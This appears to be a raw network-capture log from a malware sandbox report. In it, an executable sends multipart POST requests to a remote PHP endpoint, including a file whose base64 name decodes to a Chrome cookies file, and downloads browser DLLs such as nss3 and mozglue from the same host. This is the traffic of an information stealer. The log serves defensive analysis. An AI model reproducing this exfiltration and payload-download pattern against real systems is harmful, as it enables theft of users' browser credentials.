Dec 18, 2024 22:02:12.935843945 CET	1236	IN	Data Raw: 00 00 23 03 00 00 00 d0 0e 00 00 04 00 00 00 4e 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 38 31 00 00 00 00 00 73 3a 00 00 00 e0 0e 00 00 3c 00 00 00 52 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 39 32 00 00 00 00 00 Data Ascii: #N@B/81s:<R@B/92P @B
Dec 18, 2024 22:02:12.939848900 CET	1236	IN	Data Raw: ec 0c 89 c5 85 db 74 05 83 fb 03 75 2e 89 7c 24 08 89 5c 24 04 89 34 24 e8 19 f7 0a 00 83 ec 0c 89 c5 89 7c 24 08 89 5c 24 04 89 34 24 e8 64 fd ff ff 83 ec 0c 85 c0 75 02 31 ed c7 05 48 67 eb 61 ff ff ff ff 83 c4 1c 89 e8 5b 5e 5f 5d c3 8d b4 26 Data Ascii: tu.\|$\$4$\|$\$4$du1Hga[^_]&+C\|$\$4$w#t\|$\$4$u#u\|$D$4$t&up\|$D$4$rZ\|$D$4$Q
Dec 18, 2024 22:02:12.940018892 CET	1236	IN	Data Raw: c0 5d c3 55 89 e5 8b 45 08 85 c0 74 07 5d ff 25 78 66 eb 61 5d c3 55 b8 08 00 00 00 89 e5 5d c3 55 31 c0 89 e5 5d c3 55 89 e5 83 ec 18 89 04 24 ff 15 4c 66 eb 61 c9 c3 55 89 e5 83 ec 18 8b 4d 08 85 c9 74 0c 89 0c 24 ff 15 4c 66 eb 61 99 eb 04 31 Data Ascii: ]UEt]%xfa]U]U1]U$LfaUMt$Lfa11UtBtRJ$~HD]UUtB]U1UtB]U1UtJtBB]JvYU@aSuK?

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49729	185.219.81.135	80	3276	C:\Users\user\Desktop\ZXVcgrmGRM.exe

Timestamp	Bytes transferred	Direction	Data
Dec 18, 2024 22:02:22.181138039 CET	620	OUT	POST /c708352984fb7ac0.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JKFHIIEHIEGDHJJJKFII Host: 185.219.81.135 Content-Length: 419 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4a 4b 46 48 49 49 45 48 49 45 47 44 48 4a 4a 4a 4b 46 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 65 38 37 62 38 35 35 37 39 35 39 34 37 37 32 63 35 39 34 62 33 66 31 31 36 35 36 30 33 34 34 34 64 66 36 38 65 39 39 34 39 39 31 39 61 63 65 39 32 35 31 36 63 38 65 38 30 39 33 63 30 30 38 66 38 64 65 62 35 30 35 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 46 48 49 49 45 48 49 45 47 44 48 4a 4a 4a 4b 46 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 59 32 39 76 61 32 6c 6c 63 31 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 58 79 35 30 65 48 51 3d 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 46 48 49 49 45 48 49 45 47 44 48 4a 4a 4a 4b 46 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 [TRUNCATED] Data Ascii: ------JKFHIIEHIEGDHJJJKFIIContent-Disposition: form-data; name="token"7e87b85579594772c594b3f1165603444df68e9949919ace92516c8e8093c008f8deb505------JKFHIIEHIEGDHJJJKFIIContent-Disposition: form-data; name="file_name"Y29va2llc1xHb29nbGUgQ2hyb21lXy50eHQ=------JKFHIIEHIEGDHJJJKFIIContent-Disposition: form-data; name="file"eyJpZCI6MSwicmVzdWx0Ijp7ImNvb2tpZXMiOltdfX0=------JKFHIIEHIEGDHJJJKFII--
Dec 18, 2024 22:02:23.782568932 CET	203	IN	HTTP/1.1 200 OK Date: Wed, 18 Dec 2024 21:02:23 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Dec 18, 2024 22:02:23.895092010 CET	564	OUT	POST /c708352984fb7ac0.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GCBGCAFIIECBFIDHIJKF Host: 185.219.81.135 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 47 43 42 47 43 41 46 49 49 45 43 42 46 49 44 48 49 4a 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 65 38 37 62 38 35 35 37 39 35 39 34 37 37 32 63 35 39 34 62 33 66 31 31 36 35 36 30 33 34 34 34 64 66 36 38 65 39 39 34 39 39 31 39 61 63 65 39 32 35 31 36 63 38 65 38 30 39 33 63 30 30 38 66 38 64 65 62 35 30 35 0d 0a 2d 2d 2d 2d 2d 2d 47 43 42 47 43 41 46 49 49 45 43 42 46 49 44 48 49 4a 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 47 43 42 47 43 41 46 49 49 45 43 42 46 49 44 48 49 4a 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------GCBGCAFIIECBFIDHIJKFContent-Disposition: form-data; name="token"7e87b85579594772c594b3f1165603444df68e9949919ace92516c8e8093c008f8deb505------GCBGCAFIIECBFIDHIJKFContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------GCBGCAFIIECBFIDHIJKFContent-Disposition: form-data; name="file"------GCBGCAFIIECBFIDHIJKF--
Dec 18, 2024 22:02:24.542260885 CET	202	IN	HTTP/1.1 200 OK Date: Wed, 18 Dec 2024 21:02:24 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49764	185.219.81.135	80	3276	C:\Users\user\Desktop\ZXVcgrmGRM.exe

Timestamp	Bytes transferred	Direction	Data
Dec 18, 2024 22:02:36.217386961 CET	564	OUT	POST /c708352984fb7ac0.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GIIEGHIDBGHIECAAECGD Host: 185.219.81.135 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 47 49 49 45 47 48 49 44 42 47 48 49 45 43 41 41 45 43 47 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 65 38 37 62 38 35 35 37 39 35 39 34 37 37 32 63 35 39 34 62 33 66 31 31 36 35 36 30 33 34 34 34 64 66 36 38 65 39 39 34 39 39 31 39 61 63 65 39 32 35 31 36 63 38 65 38 30 39 33 63 30 30 38 66 38 64 65 62 35 30 35 0d 0a 2d 2d 2d 2d 2d 2d 47 49 49 45 47 48 49 44 42 47 48 49 45 43 41 41 45 43 47 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 47 49 49 45 47 48 49 44 42 47 48 49 45 43 41 41 45 43 47 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------GIIEGHIDBGHIECAAECGDContent-Disposition: form-data; name="token"7e87b85579594772c594b3f1165603444df68e9949919ace92516c8e8093c008f8deb505------GIIEGHIDBGHIECAAECGDContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------GIIEGHIDBGHIECAAECGDContent-Disposition: form-data; name="file"------GIIEGHIDBGHIECAAECGD--
Dec 18, 2024 22:02:37.651252985 CET	203	IN	HTTP/1.1 200 OK Date: Wed, 18 Dec 2024 21:02:37 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Dec 18, 2024 22:02:38.016221046 CET	93	OUT	GET /de4fe4f133a5af6f/freebl3.dll HTTP/1.1 Host: 185.219.81.135 Cache-Control: no-cache
Dec 18, 2024 22:02:38.406996965 CET	1236	IN	HTTP/1.1 200 OK Date: Wed, 18 Dec 2024 21:02:38 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 10:49:08 GMT ETag: "a7550-5e7ebd4425100" Accept-Ranges: bytes Content-Length: 685392 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!4p@AHSxFP/# @.text `.rdata @@.data<F0@.00cfg@@.rsrcx@@.reloc#$"@B
Dec 18, 2024 22:02:38.407082081 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 55 89 e5 68 4f 01 00 00 e8 f2 0b 08 00 83 c4 04 85 c0 74 0e 89 80 38 01 00 00 83 c0 0f 83 e0 f0 5d c3 68 13 e0 ff ff e8 c7 0b Data Ascii: UhOt8]h1]UWVEtu}UMt"0(h&40jVjjRQP?^_]USWVhO?t0
Dec 18, 2024 22:02:38.407119036 CET	1236	IN	Data Raw: 55 07 08 00 83 c4 08 eb ce cc cc cc cc cc cc cc cc cc cc cc 55 89 e5 53 57 56 83 e4 f8 83 ec 58 89 4c 24 2c 8b 7d 1c a1 b4 30 0a 10 31 e8 89 44 24 50 c7 44 24 3c 10 00 00 00 83 ff 18 72 19 89 f8 83 e0 07 75 12 8d 47 f8 3b 45 14 76 14 68 03 e0 ff Data Ascii: UUSWVXL$,}01D$PD$<ruG;Evhh\|$,}uT$4D$0P\|OL$8PVS'D$@?@L$L$D$D$D$$
Dec 18, 2024 22:02:38.407634974 CET	1236	IN	Data Raw: 55 89 e5 53 57 56 83 ec 24 8b 4d 1c 8b 75 0c a1 b4 30 0a 10 31 e8 89 45 f0 8b 7d 08 8d 59 f8 83 f9 10 75 32 8d 45 dc 8d 4d e0 6a 10 ff 75 18 6a 10 50 51 57 e8 f7 93 06 00 83 c4 18 89 c7 8d 75 e8 83 45 dc f8 c7 45 d8 00 00 00 00 85 ff 0f 85 b4 01 Data Ascii: USWV$Mu01E}Yu2EMjujPQWuEEC1;]vS{EE1uuSPVEPo9]SUYY)ZYEME]M)19D
Dec 18, 2024 22:02:38.407670021 CET	896	IN	Data Raw: 00 00 00 0f 57 c8 0f 11 8c 0e 9c 00 00 00 83 c1 20 83 c3 fe 75 a6 eb 02 31 c9 f6 c2 01 74 28 0f 10 04 0f 0f 10 4c 0e 0c 0f 57 c8 0f 10 84 0e 8c 00 00 00 0f 11 4c 0e 0c 0f 10 0c 0f 0f 57 c8 0f 11 8c 0e 8c 00 00 00 31 db 8b 55 ac 39 c2 74 6b f6 c2 Data Ascii: W u1t(LWLW1U9tkt0T0U19t<f.0L0L0LL09uM17L^_[]USWVh1
Dec 18, 2024 22:02:38.407706022 CET	1236	IN	Data Raw: 10 ff 75 14 ff 75 10 53 56 ff d1 83 c4 10 31 c0 83 c4 04 5e 5f 5b 5d c3 cc cc cc cc 55 89 e5 53 57 56 50 68 0c 01 00 00 e8 fe f9 07 00 83 c4 04 31 ff 85 c0 74 71 89 c6 8b 5d 08 c7 40 08 01 00 00 00 8b 43 04 89 46 04 8b 03 89 45 f0 8b 43 04 8b 48 Data Ascii: uuSV1^_[]USWVPh1tq]@CFECHut7FKSrQP;KqSPVi^_[]UhV1]Uh6]
Dec 18, 2024 22:02:38.408673048 CET	1236	IN	Data Raw: 83 fe 02 0f 84 e8 00 00 00 8b 45 ec 04 03 0f b6 c8 8b 7d f0 8a 14 0f 00 d6 0f b6 f6 8a 24 37 88 24 0f 88 14 37 8b 75 14 00 d4 0f b6 cc 8b 5d 10 8a 53 02 32 14 0f 8b 4d e4 88 51 02 83 fe 03 0f 84 ac 00 00 00 8b 45 ec 04 04 0f b6 c8 8b 7d f0 8a 14 Data Ascii: E}$7$7u]S2MQE}$7$7u]S2MQttE}$7$7u]S2MQt<E}$7$7u]S2]S
Dec 18, 2024 22:02:38.408708096 CET	1236	IN	Data Raw: d2 f6 c2 01 0f 84 9b 00 00 00 66 0f 6f 1d d0 20 08 10 66 0f fe d8 0b 75 cc 8b 45 10 66 0f 6e 2c 30 66 0f 6e 64 30 04 66 0f ef f6 66 0f 60 ee 66 0f 61 ee 66 0f 60 e6 66 0f 61 e6 66 0f 72 f0 17 66 0f 6f 35 e0 20 08 10 66 0f fe c6 f3 0f 5b c0 66 0f Data Ascii: fo fuEfn,0fnd0ff`faf`fafrfo5 f[fpffpfpffpfbffrf[fpffpfpffpfbfffpffpUff~MU9UEuUM}]?uu]}
Dec 18, 2024 22:02:38.408744097 CET	1236	IN	Data Raw: 07 88 0c 37 00 cd 8b 45 10 8a 40 06 0f b6 cd 32 04 0f 88 43 06 8b 4d ec e9 2e f7 ff ff cc cc cc 55 89 e5 53 57 56 81 ec 5c 01 00 00 89 8d dc fe ff ff 8b 32 89 95 74 ff ff ff 89 b5 f4 fe ff ff 8b 01 89 85 9c fe ff ff 89 c7 01 f7 8b 52 04 89 95 f8 Data Ascii: 7E@2CM.USWV\2tRAA q$]QD1A@1RQP5}gjM31tQIU]U1P
Dec 18, 2024 22:02:38.415395975 CET	1236	IN	Data Raw: ff ff ff 11 f3 89 f8 01 d0 89 d7 89 45 b4 11 cb 89 5d c8 8b b5 64 ff ff ff 31 de 8b 5d 94 31 c3 89 da 0f a4 f2 10 89 55 b0 0f ac f3 10 89 5d 94 8b 75 ec 01 de 89 75 ec 8b 45 e0 11 d0 89 45 e0 31 c1 31 f7 89 c8 0f a4 f8 01 89 45 8c 0f a4 cf 01 89 Data Ascii: E]d1]1U]uuEE11E}tBP`MBTD]HM}]u1uP1Euu11}tOX EO\H}EE}1M1
Dec 18, 2024 22:02:38.415518999 CET	1236	IN	Data Raw: ff ff ff 8b 45 e4 13 85 5c ff ff ff 8b 5d 80 01 df 89 7d d0 8b 55 90 11 d0 89 45 e4 8b 4d b0 31 c1 89 4d b0 8b 75 94 31 fe 8b 7d c4 01 cf 89 7d c4 8b 45 bc 11 f0 89 45 bc 31 fb 31 c2 89 d8 0f a4 d0 08 0f a4 da 08 8b 7d d0 03 bd 30 ff ff ff 8b 4d Data Ascii: E\]}UEM1Mu1}}EE11}0M,}M1M1uuMM11(]uM]MM1U1}MMEE1}1U
Dec 18, 2024 22:02:39.860754967 CET	93	OUT	GET /de4fe4f133a5af6f/mozglue.dll HTTP/1.1 Host: 185.219.81.135 Cache-Control: no-cache
Dec 18, 2024 22:02:40.251599073 CET	1236	IN	HTTP/1.1 200 OK Date: Wed, 18 Dec 2024 21:02:40 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 10:49:08 GMT ETag: "94750-5e7ebd4425100" Accept-Ranges: bytes Content-Length: 608080 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!^j@A`W, P/0AShZ.texta `.rdata@@.dataD@.00cfg@@.tls@.rsrc @@.relocA0B@B
Dec 18, 2024 22:02:41.138211012 CET	94	OUT	GET /de4fe4f133a5af6f/msvcp140.dll HTTP/1.1 Host: 185.219.81.135 Cache-Control: no-cache
Dec 18, 2024 22:02:41.529036045 CET	1236	IN	HTTP/1.1 200 OK Date: Wed, 18 Dec 2024 21:02:41 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 10:49:08 GMT ETag: "6dde8-5e7ebd4425100" Accept-Ranges: bytes Content-Length: 450024 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$1C___)n__^"_^_\_[_Z____]_Rich_PEL0]"!(`@,@AgrA=`x8w@pc@.text&( `.dataH)@,@.idatapD@@.didat4X@.rsrcZ@@.reloc=>^@B
Dec 18, 2024 22:02:42.296693087 CET	90	OUT	GET /de4fe4f133a5af6f/nss3.dll HTTP/1.1 Host: 185.219.81.135 Cache-Control: no-cache
Dec 18, 2024 22:02:42.687460899 CET	1236	IN	HTTP/1.1 200 OK Date: Wed, 18 Dec 2024 21:02:42 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 10:49:08 GMT ETag: "1f3950-5e7ebd4425100" Accept-Ranges: bytes Content-Length: 2046288 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!.`pl- @A&@PxP/`\\|\&@.text `.rdatal@@.dataDR.@.00cfg@@@.rsrcxP@@.reloc\`@B
Dec 18, 2024 22:02:45.779360056 CET	94	OUT	GET /de4fe4f133a5af6f/softokn3.dll HTTP/1.1 Host: 185.219.81.135 Cache-Control: no-cache
Dec 18, 2024 22:02:46.170366049 CET	1236	IN	HTTP/1.1 200 OK Date: Wed, 18 Dec 2024 21:02:45 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 10:49:08 GMT ETag: "3ef50-5e7ebd4425100" Accept-Ranges: bytes Content-Length: 257872 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!PSg@ADvSwP/58q{.text& `.rdata@@.data\|@.00cfg@@.rsrc@@.reloc56@B
Dec 18, 2024 22:02:46.648112059 CET	98	OUT	GET /de4fe4f133a5af6f/vcruntime140.dll HTTP/1.1 Host: 185.219.81.135 Cache-Control: no-cache
Dec 18, 2024 22:02:47.038875103 CET	1236	IN	HTTP/1.1 200 OK Date: Wed, 18 Dec 2024 21:02:46 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 10:49:08 GMT ETag: "13bf0-5e7ebd4425100" Accept-Ranges: bytes Content-Length: 80880 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$08euRichPEL\|0]"!0m@AA 8 @.text `.data@.idata@@.rsrc@@.reloc @B
Dec 18, 2024 22:02:47.919923067 CET	202	OUT	POST /c708352984fb7ac0.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GIEGHJEGHJKFIEBFHJKK Host: 185.219.81.135 Content-Length: 1067 Connection: Keep-Alive Cache-Control: no-cache
Dec 18, 2024 22:02:48.615263939 CET	202	IN	HTTP/1.1 200 OK Date: Wed, 18 Dec 2024 21:02:48 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=93 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
